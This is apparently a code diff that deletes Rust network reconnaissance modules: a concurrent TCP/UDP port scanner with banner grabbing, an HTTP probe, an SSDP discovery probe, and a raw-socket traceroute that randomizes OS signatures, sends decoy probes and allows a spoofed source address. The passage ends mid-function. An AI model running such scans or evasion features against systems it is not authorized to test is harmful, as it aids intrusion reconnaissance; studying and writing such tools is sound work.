fn prompt_u64(
message: &str,
default: u64,
min: Option<u64>,
max: Option<u64>,
) -> Result<u64> {
loop {
let response = prompt_with_default(message, &default.to_string())?;
match response.parse::<u64>() {
Ok(value) => {
if let Some(minimum) = min {
if value < minimum {
println!(
"{}",
format!("Value must be >= {}", minimum).yellow()
);
continue;
}
}
if let Some(maximum) = max {
if value > maximum {
println!(
"{}",
format!("Value must be <= {}", maximum).yellow()
);
continue;
}
}
return Ok(value);
}
Err(_) => println!("{}", "Enter a valid positive integer.".yellow()),
}
}
}
fn parse_ports(input: &str) -> Result<Vec<u16>> {
let mut ports = Vec::new();
for token in input.replace(',', " ").split_whitespace() {
match token.parse::<u16>() {
Ok(port) => ports.push(port),
Err(_) => {
println!(
"{}",
format!(" Skipping invalid port '{}'", token).yellow()
);
}
}
}
ports.sort_unstable();
ports.dedup();
Ok(ports)
}
-593
View File
@@ -1,593 +0,0 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug, Clone)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
pub show_only_open: bool,
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency [100]: ").unwrap_or(100),
timeout_secs: prompt_usize("Timeout (in seconds) [3]: ").unwrap_or(3) as u64,
show_only_open: prompt_bool("Show only open ports? (y/n) [y]: ").unwrap_or(true),
verbose: prompt_bool("Verbose output? (y/n) [n]: ").unwrap_or(false),
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n) [n]: ").unwrap_or(false),
output_file: prompt("Output filename [scan_results.txt]: ").unwrap_or_else(|_| "scan_results.txt".to_string()),
port_range,
})
}
/// Main entrypoint for interactive CLI mode
pub async fn run_interactive(target: &str) -> Result<()> {
let settings = prompt_settings()?;
run_with_settings(
target,
settings.concurrency,
settings.timeout_secs,
settings.show_only_open,
settings.verbose,
settings.scan_udp_enabled,
&settings.output_file,
settings.port_range,
)
.await
}
pub async fn run(target: &str) -> Result<()> {
run_interactive(target).await
}
/// === Core Scanner Logic ===
pub async fn run_with_settings(
target: &str,
concurrency: usize,
timeout_secs: u64,
show_only_open: bool,
_verbose: bool,
scan_udp_enabled: bool,
output_file: &str,
port_range: PortRange,
) -> Result<()> {
let start_time = Instant::now();
let (resolved_ip_str, resolved_ip) = resolve_target(target)?;
let semaphore = Arc::new(Semaphore::new(concurrency));
let file = Arc::new(Mutex::new(BufWriter::new(File::create(output_file)?)));
let ports = port_range.get_ports();
let total_ports = ports.len() * (1 + scan_udp_enabled as usize);
let stats = Arc::new(Mutex::new(ScanStats::new()));
let progress = Arc::new(Mutex::new(ProgressTracker::new(total_ports)));
println!("\n{}", format!("[*] Starting scan for target: {} (resolved: {})", target, resolved_ip_str).cyan().bold());
println!("{}", format!("[*] Scanning {} ports with concurrency: {}", total_ports, concurrency).cyan());
writeln!(file.lock().unwrap(), "Port Scan Results for {} ({})\n", target, resolved_ip_str)?;
let timestamp = std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.unwrap()
.as_secs();
writeln!(file.lock().unwrap(), "Scan started at: {}\n", timestamp)?;
// TCP Scan
println!("{}", "\n[*] Starting TCP scan...".yellow());
let mut tcp_tasks = vec![];
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_tcp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some((status, banner, service)) = result {
match status.as_str() {
"OPEN" => {
stats_guard.tcp_open += 1;
let service_name = if service.is_empty() { get_service_name(port) } else { &service };
let line = format!("[TCP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let output_line = if !banner.is_empty() {
format!("{} | Banner: {}", line, banner.trim().bright_black())
} else {
line
};
let _ = writeln!(file.lock().unwrap(), "{}", output_line);
println!("{}", output_line);
}
"CLOSED" => stats_guard.tcp_closed += 1,
"TIMEOUT" | "FILTERED" => stats_guard.tcp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
tcp_tasks.push(handle);
}
// UDP Scan
let mut udp_tasks = vec![];
if scan_udp_enabled {
println!("{}", "\n[*] Starting UDP scan...".yellow());
for port in &ports {
let permit = semaphore.clone().acquire_owned().await?;
let file = file.clone();
let stats = stats.clone();
let progress = progress.clone();
let ip = resolved_ip;
let ip_str = resolved_ip_str.clone();
let port = *port;
let handle = tokio::spawn(async move {
let _permit = permit;
let result = scan_udp(&ip, port, timeout_secs).await;
let mut stats_guard = stats.lock().unwrap();
let mut progress_guard = progress.lock().unwrap();
if let Some(status) = result {
match status.as_str() {
"OPEN" => {
stats_guard.udp_open += 1;
let service_name = get_service_name(port);
let line = format!("[UDP] {}:{} ({}) => {}", ip_str, port, service_name, status.green());
if !show_only_open {
let _ = writeln!(file.lock().unwrap(), "{}", line);
}
let _ = writeln!(file.lock().unwrap(), "{}", line);
println!("{}", line);
}
"CLOSED" => stats_guard.udp_closed += 1,
"FILTERED" => stats_guard.udp_filtered += 1,
_ => {}
}
}
progress_guard.increment(&start_time);
if progress_guard.should_print() {
progress_guard.print_progress();
}
});
udp_tasks.push(handle);
}
}
// Await all tasks
for task in tcp_tasks {
let _ = task.await;
}
for task in udp_tasks {
let _ = task.await;
}
let elapsed = start_time.elapsed();
let stats = stats.lock().unwrap();
// Print summary
println!("\n{}", "=== Scan Summary ===".cyan().bold());
println!("{}", format!("Scan duration: {:.2} seconds", elapsed.as_secs_f64()).green());
println!("\n{}", "TCP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.tcp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.tcp_closed);
println!(" {} Filtered/Timeout: {}", "~".yellow(), stats.tcp_filtered);
if scan_udp_enabled {
println!("\n{}", "UDP Ports:".yellow());
println!(" {} Open: {}", "".green(), stats.udp_open.to_string().green().bold());
println!(" {} Closed: {}", "".red(), stats.udp_closed);
println!(" {} Filtered: {}", "~".yellow(), stats.udp_filtered);
}
println!("\n{}", format!("[*] Results saved to {}", output_file).cyan());
// Write summary to file
writeln!(file.lock().unwrap(), "\n=== Scan Summary ===")?;
writeln!(file.lock().unwrap(), "Scan duration: {:.2} seconds", elapsed.as_secs_f64())?;
writeln!(file.lock().unwrap(), "\nTCP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.tcp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.tcp_closed)?;
writeln!(file.lock().unwrap(), " Filtered/Timeout: {}", stats.tcp_filtered)?;
if scan_udp_enabled {
writeln!(file.lock().unwrap(), "\nUDP Ports:")?;
writeln!(file.lock().unwrap(), " Open: {}", stats.udp_open)?;
writeln!(file.lock().unwrap(), " Closed: {}", stats.udp_closed)?;
writeln!(file.lock().unwrap(), " Filtered: {}", stats.udp_filtered)?;
}
Ok(())
}
/// === TCP Port Scanner with Enhanced Banner Grabbing ===
async fn scan_tcp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<(String, String, String)> {
let addr = SocketAddr::new(*ip, port);
match timeout(Duration::from_secs(timeout_secs), TcpStream::connect(addr)).await {
Ok(Ok(mut stream)) => {
// Try service-specific probes for better banner grabbing
let (banner, service) = grab_banner(&mut stream, port).await;
Some(("OPEN".into(), banner, service))
}
Ok(Err(_)) => Some(("CLOSED".into(), "".into(), "".into())),
Err(_) => Some(("TIMEOUT".into(), "".into(), "".into())),
}
}
/// Enhanced banner grabbing with service-specific probes
async fn grab_banner(stream: &mut TcpStream, port: u16) -> (String, String) {
let mut buf = [0u8; 2048];
// Try to read initial banner (works for FTP, SMTP, POP3, etc.)
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 => {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
_ => {}
}
// Service-specific probes
match port {
80 | 8080 => {
// HTTP probe
if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let response = String::from_utf8_lossy(&buf[..n]);
if let Some(server) = extract_http_server(&response) {
return (response.trim().to_string(), format!("HTTP ({})", server));
}
return (response.trim().to_string(), "HTTP".into());
}
}
}
}
443 => {
// HTTPS - can't easily probe without TLS, just return empty
return ("".into(), "HTTPS".into());
}
22 => {
// SSH - read SSH banner
if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
return (banner, "SSH".into());
}
}
}
_ => {
// Try reading again for other services
if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
if n > 0 {
let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
let service = detect_service_from_banner(&banner, port);
return (banner, service);
}
}
}
}
("".into(), "".into())
}
fn detect_service_from_banner(banner: &str, port: u16) -> String {
let banner_lower = banner.to_lowercase();
if banner_lower.contains("ssh") {
"SSH".into()
} else if banner_lower.contains("ftp") {
"FTP".into()
} else if banner_lower.contains("smtp") {
"SMTP".into()
} else if banner_lower.contains("pop3") {
"POP3".into()
} else if banner_lower.contains("imap") {
"IMAP".into()
} else if banner_lower.contains("http") {
"HTTP".into()
} else if banner_lower.contains("mysql") {
"MySQL".into()
} else {
get_service_name(port).to_string()
}
}
fn extract_http_server(response: &str) -> Option<String> {
for line in response.lines() {
if line.to_lowercase().starts_with("server:") {
return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
}
}
None
}
/// === UDP Port Scanner ===
async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
let sock = match UdpSocket::bind(bind_addr).await {
Ok(s) => s,
Err(_) => return Some("ERROR".into()),
};
let target = SocketAddr::new(*ip, port);
let payload = b"\x00\x00\x10\x10";
let _ = sock.send_to(payload, target).await;
let mut buf = [0u8; 512];
match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
Ok(Ok((_len, _src))) => Some("OPEN".into()),
Ok(Err(_)) => Some("CLOSED".into()),
Err(_) => Some("FILTERED".into()),
}
}
/// === Target Resolution ===
fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
Ok((addr.ip().to_string(), addr.ip()))
} else if let Some(addr) = addrs.first() {
Ok((addr.ip().to_string(), addr.ip()))
} else {
Err(anyhow!("Could not resolve target '{}'", input))
}
}
/// === Prompt Utilities ===
fn prompt(message: &str) -> Result<String> {
print!("{}", message.cyan().bold());
io::stdout().flush()?;
let mut buf = String::new();
io::stdin().read_line(&mut buf)?;
Ok(buf.trim().to_string())
}
fn prompt_bool(message: &str) -> Result<bool> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Ok(false);
}
match input.to_lowercase().as_str() {
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
}
}
}
fn prompt_usize(message: &str) -> Result<usize> {
loop {
let input = prompt(message)?;
if input.is_empty() {
return Err(anyhow!("Input required"));
}
if let Ok(n) = input.parse::<usize>() {
return Ok(n);
}
println!("{}", "Please enter a valid number.".yellow());
}
}
/// === Scan Statistics ===
struct ScanStats {
tcp_open: usize,
tcp_closed: usize,
tcp_filtered: usize,
udp_open: usize,
udp_closed: usize,
udp_filtered: usize,
}
impl ScanStats {
fn new() -> Self {
ScanStats {
tcp_open: 0,
tcp_closed: 0,
tcp_filtered: 0,
udp_open: 0,
udp_closed: 0,
udp_filtered: 0,
}
}
}
/// === Progress Tracker ===
struct ProgressTracker {
total: usize,
current: usize,
last_print: usize,
start_time: Option<Instant>,
}
impl ProgressTracker {
fn new(total: usize) -> Self {
ProgressTracker {
total,
current: 0,
last_print: 0,
start_time: None,
}
}
fn increment(&mut self, start_time: &Instant) {
if self.start_time.is_none() {
self.start_time = Some(*start_time);
}
self.current += 1;
}
fn should_print(&self) -> bool {
let diff = self.current - self.last_print;
diff >= 100 || self.current == self.total
}
fn print_progress(&mut self) {
if self.current == 0 {
return;
}
let percentage = (self.current as f64 / self.total as f64) * 100.0;
let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
let rate = if elapsed.as_secs() > 0 {
self.current as f64 / elapsed.as_secs() as f64
} else {
0.0
};
let remaining = if rate > 0.0 {
(self.total - self.current) as f64 / rate
} else {
0.0
};
print!("\r{}", format!(
"[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
self.current,
self.total,
percentage,
rate,
remaining
).cyan());
io::stdout().flush().unwrap();
if self.current == self.total {
println!();
}
self.last_print = self.current;
}
}
-15
View File
@@ -1,15 +0,0 @@
use anyhow::{Result, Context};
use reqwest;
/// A simple scanner that tries an HTTP GET and prints the response code
pub async fn run(target: &str) -> Result<()> {
println!("[*] Running sample_scanner on: {}", target);
let url = format!("http://{}", target);
let resp = reqwest::get(&url)
.await
.context("Failed to send request")?;
println!("[*] Status code: {}", resp.status());
Ok(())
}
-114
View File
@@ -1,114 +0,0 @@
use anyhow::{Result};
use colored::*;
use regex::Regex;
use std::collections::HashMap;
use std::io::Write;
use std::net::SocketAddr;
use tokio::net::UdpSocket;
use tokio::time::{timeout, Duration};
pub async fn run(target: &str) -> Result<()> {
let port = prompt_port().unwrap_or(1900);
let target = clean_ipv6_brackets(target);
let addr = normalize_target(&target, port)?;
println!("[*] Sending SSDP M-SEARCH to {}...", addr);
let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
let socket = UdpSocket::bind(local_bind).await?;
socket.connect(&addr).await?;
let request = format!(
"M-SEARCH * HTTP/1.1\r\n\
HOST: {}:{}\r\n\
MAN: \"ssdp:discover\"\r\n\
MX: 2\r\n\
ST: upnp:rootdevice\r\n\r\n",
target, port
);
socket.send(request.as_bytes()).await?;
let mut buf = vec![0u8; 2048];
match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
Ok(Ok(size)) => {
let response = String::from_utf8_lossy(&buf[..size]);
parse_ssdp_response(&response, &target, port);
}
_ => {
println!("[-] Target did not respond to M-SEARCH request");
}
}
Ok(())
}
/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
fn normalize_target(target: &str, port: u16) -> Result<String> {
let addr = if target.contains(':') && !target.contains(']') {
// Plain IPv6 without brackets
format!("[{}]:{}", target, port)
} else if target.contains('[') {
// Already bracketed IPv6 (sanitize just in case)
format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
} else {
// IPv4 or hostname
format!("{}:{}", target, port)
};
Ok(addr)
}
/// Cleans up accidental double or triple brackets like [[::1]] → ::1
fn clean_ipv6_brackets(ip: &str) -> String {
ip.trim_start_matches('[')
.trim_end_matches(']')
.to_string()
}
/// Ask user for port (optional), fallback to 1900 if empty
fn prompt_port() -> Option<u16> {
print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
std::io::stdout().flush().ok();
let mut input = String::new();
if let Ok(_) = std::io::stdin().read_line(&mut input) {
let input = input.trim();
if input.is_empty() {
return None;
}
if let Ok(p) = input.parse::<u16>() {
return Some(p);
}
}
None
}
fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
let regexps = vec![
("server", r"(?i)Server:\s*(.*?)\r\n"),
("location", r"(?i)Location:\s*(.*?)\r\n"),
("usn", r"(?i)USN:\s*(.*?)\r\n"),
];
let mut results: HashMap<&str, String> = HashMap::new();
for (key, pattern) in regexps {
if let Ok(re) = Regex::new(pattern) {
if let Some(caps) = re.captures(response) {
results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
} else {
results.insert(key, String::from(""));
}
}
}
println!(
"[+] {}:{} | {} | {} | {}",
target_ip,
port,
results.get("server").unwrap_or(&"".to_string()),
results.get("location").unwrap_or(&"".to_string()),
results.get("usn").unwrap_or(&"".to_string())
);
}
@@ -1,444 +0,0 @@
use pnet_packet::ip::IpNextHeaderProtocols;
use pnet_packet::ipv4::{self, MutableIpv4Packet};
use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
use pnet_packet::udp::{self, MutableUdpPacket};
use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
use pnet_packet::Packet;
use pnet_packet::icmp::IcmpPacket;
use std::sync::Arc;
use rand::Rng;
use rand::distr::Alphanumeric;
use std::net::{IpAddr, Ipv4Addr, SocketAddr};
use std::io::{stdin, stdout, Write};
use tokio::time::{Instant, Duration};
use tokio::task;
use socket2::{Domain, Protocol, Socket, Type};
use colored::*;
use anyhow::{Result, Context, bail};
use std::mem::MaybeUninit;
const IPV4_FLAG_DF: u16 = 2;
const USE_RANDOM_OS_SIG: bool = true;
const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
const MAX_TTL: u8 = 30;
const PROBE_COUNT: usize = 3;
const DECOY_PROB: f64 = 0.35;
#[derive(Debug, Clone)]
struct OsSignatureParams {
id: u16,
tos: u8,
df_flag: bool,
}
fn generate_os_signature() -> OsSignatureParams {
let mut rng = rand::rng();
if !USE_RANDOM_OS_SIG {
return OsSignatureParams {
id: rng.random(),
tos: 0,
df_flag: false,
};
}
let sigs = [
OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
];
sigs[rng.random_range(0..sigs.len())].clone()
}
#[derive(Debug, Clone, Copy, PartialEq)]
enum ProbeProtocolType {
Icmp,
Udp,
Tcp,
}
impl ProbeProtocolType {
fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
match self {
ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
}
}
fn to_string_lc(&self) -> String {
match self {
ProbeProtocolType::Icmp => "icmp".to_string(),
ProbeProtocolType::Udp => "udp".to_string(),
ProbeProtocolType::Tcp => "tcp".to_string(),
}
}
}
#[derive(Debug)]
struct ReceivedIcmpInfo {
icmp_type: u8,
description: String,
}
#[derive(Debug)]
struct ProbeSingleResponse {
source_ip: Ipv4Addr,
rtt_ms: f32,
icmp_info: ReceivedIcmpInfo,
probe_protocol_used: String,
}
fn craft_probe_packet(
dst_ip: Ipv4Addr,
current_ttl: u8,
src_ip_override: Option<Ipv4Addr>,
icmp_id_val: u16,
icmp_seq_val: u16,
) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
const IPV4_HEADER_LEN: usize = 20;
let mut rng = rand::rng();
let sig = generate_os_signature();
let mut protocol_type = ProbeProtocolType::Icmp;
if rng.random_bool(DECOY_PROB) {
protocol_type = if rng.random_bool(0.5) {
ProbeProtocolType::Udp
} else {
ProbeProtocolType::Tcp
};
}
let payload_size = rng.random_range(24..=56);
let payload: Vec<u8> = rng.clone()
.sample_iter(&Alphanumeric)
.take(payload_size)
.map(|c| c as u8)
.collect();
let (transport_header_len, transport_packet_data) = match protocol_type {
ProbeProtocolType::Icmp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
pkt.set_icmp_type(IcmpTypes::EchoRequest);
pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
pkt.set_identifier(icmp_id_val);
pkt.set_sequence_number(icmp_seq_val);
pkt.set_payload(&payload);
let view = IcmpPacket::new(pkt.packet()).unwrap();
pkt.set_checksum(icmp::checksum(&view));
(buf.len(), buf)
}
ProbeProtocolType::Udp => {
let mut buf = vec![0u8; 8 + payload.len()];
let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_length((8 + payload.len()) as u16);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
ProbeProtocolType::Tcp => {
let mut buf = vec![0u8; 20 + payload.len()];
let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
pkt.set_source(rng.random_range(33434..=65535));
pkt.set_destination(rng.random_range(33434..=65535));
pkt.set_sequence(rng.random());
pkt.set_acknowledgement(0);
pkt.set_data_offset(5);
pkt.set_flags(TcpFlags::SYN);
pkt.set_window(rng.random_range(1024..=65535));
pkt.set_urgent_ptr(0);
pkt.set_payload(&payload);
let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
(buf.len(), buf)
}
};
let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
let mut ip_buf = vec![0u8; total_len as usize];
let src_ip = src_ip_override
.or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
.unwrap_or(Ipv4Addr::new(0,0,0,0));
{
let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
ip.set_version(4);
ip.set_header_length(5);
ip.set_total_length(total_len);
ip.set_identification(sig.id);
ip.set_ttl(current_ttl);
ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
ip.set_source(src_ip);
ip.set_destination(dst_ip);
ip.set_dscp(sig.tos >> 2);
ip.set_ecn(sig.tos & 0x03);
let mut flags = 0;
if sig.df_flag {
flags |= IPV4_FLAG_DF;
}
ip.set_flags(flags.try_into().unwrap());
ip.set_payload(&transport_packet_data);
ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
}
Ok((ip_buf, protocol_type, sig))
}
async fn send_and_receive_one(
target_final_dst_ip: Ipv4Addr,
probe_packet_bytes: &[u8],
probe_protocol: ProbeProtocolType,
probe_ip_id: u16,
probe_icmp_echo_id: u16,
probe_icmp_echo_seq: u16,
timeout: Duration,
) -> Result<Option<ProbeSingleResponse>> {
let sender_socket = Socket::new(
Domain::IPV4,
Type::RAW,
Some(Protocol::from(libc::IPPROTO_RAW)),
)
.context("Failed to create sender raw socket")?;
sender_socket
.set_header_included_v4(true)
.context("Failed to set IP_HDRINCL on sender socket")?;
let receiver_socket = Arc::new(
Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
.context("Failed to create receiver raw socket for ICMP")?,
);
receiver_socket
.set_read_timeout(Some(Duration::from_millis(200)))
.context("Failed to set read timeout on receiver socket")?;
let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
sender_socket
.send_to(probe_packet_bytes, &dst_addr.into())
.context("Failed to send raw IP packet")?;
let start = Instant::now();
loop {
if start.elapsed() >= timeout {
return Ok(None);
}
let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
match sock_clone.recv_from(&mut buf) {
Ok((len, addr)) => {
let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
Ok(Some((slice.to_vec(), sock_addr)))
}
Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
Err(e) => Err(e),
}
})
.await
.context("Blocking task for recv_from failed")?;
if let Some((data, sa)) = recv? {
let rtt = start.elapsed().as_secs_f32() * 1000.0;
let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
let icmp_type = icmp_pkt.get_icmp_type();
let _ = icmp_pkt.get_icmp_code();
let mut matched = false;
if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
let proto = inner.get_next_level_protocol();
match probe_protocol {
ProbeProtocolType::Icmp => {
if proto == IpNextHeaderProtocols::Icmp {
if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
&& echo_req.get_identifier() == probe_icmp_echo_id
&& echo_req.get_sequence_number() == probe_icmp_echo_seq
{
matched = true;
}
}
}
}
ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
if proto == probe_protocol.to_ip_next_header_protocol() {
matched = true;
}
}
}
}
}
} else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
if reply.get_identifier() == probe_icmp_echo_id
&& reply.get_sequence_number() == probe_icmp_echo_seq
&& responder == target_final_dst_ip
{
matched = true;
}
}
}
if matched {
let desc = match icmp_type {
IcmpTypes::EchoReply => "echo-reply".to_string(),
IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
_ => format!("type {}", icmp_type.0),
};
return Ok(Some(ProbeSingleResponse {
source_ip: responder,
rtt_ms: rtt,
icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
probe_protocol_used: probe_protocol.to_string_lc(),
}));
}
}
}
}
}
tokio::time::sleep(Duration::from_millis(10)).await;
}
}
async fn execute_traceroute(target_name: &str) -> Result<()> {
println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
.await
.with_context(|| format!("Could not resolve target: {}", target_name))?;
let mut target_ipv4: Option<Ipv4Addr> = None;
for sock_addr in resolved_ips {
if let IpAddr::V4(ipv4) = sock_addr.ip() {
target_ipv4 = Some(ipv4);
break;
}
}
let dst_ip = match target_ipv4 {
Some(ip) => ip,
None => bail!("Could not resolve {} to an IPv4 address", target_name),
};
println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
